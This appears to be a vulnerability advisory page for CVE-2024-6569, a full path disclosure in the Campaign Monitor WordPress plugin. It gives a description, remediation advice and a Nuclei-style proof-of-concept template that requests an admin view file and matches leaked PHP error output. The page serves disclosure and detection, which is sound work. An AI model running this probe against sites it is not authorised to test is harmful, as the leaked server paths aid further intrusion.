CVE-2024-6569: Campaign Monitor for WordPress - Information Disclosure

2026-06-17 Campaign Monitor PoC Public

Description

Campaign Monitor for WordPress plugin for WordPress versions up to 2.8.15 contains a full path disclosure caused by improper access restriction and enabled display_errors in /forms/views/admin/create.php, letting unauthenticated attackers retrieve server paths, exploit requires display_errors to be enabled.

PoC

id: CVE-2024-6569

info:
  name: Campaign Monitor for WordPress - Information Disclosure
  author: aushack
  severity: medium
  description: |
    Campaign Monitor for WordPress plugin for WordPress versions up to 2.8.15 contains a full path disclosure caused by improper access restriction and enabled display_errors in /forms/views/admin/create.php, letting unauthenticated attackers retrieve server paths, exploit requires display_errors to be enabled.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed, or disable display_errors and restrict access to the affected file.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/forms-for-campaign-monitor/campaign-monitor-for-wordpress-2815-unauthenticated-full-path-disclosure
    - https://wordpress.org/plugins/forms-for-campaign-monitor/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6569
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6569
    epss-score: 0.00856
    epss-percentile: 0.56585
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/forms-for-campaign-monitor/"
  tags: cve,cve2024,wordpress,wp-plugin,fpd,campaigns,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/forms-for-campaign-monitor/forms/views/admin/create.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Fatal error", "Uncaught Error") || contains_all(body, "Stack trace")'
          - 'contains(body, "forms-for-campaign-monitor")'
          - 'status_code == 200 || status_code == 500'
        condition: and
# digest: 4a0a00473045022100cca79e0cc1ed4690fec94b60b656cabc5781f2479f5d677ee70eae4eb0a45b11022061281f0530f6001a009bef22eddc2891df5d3c767cfd77e41f7586b00bcaea5b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities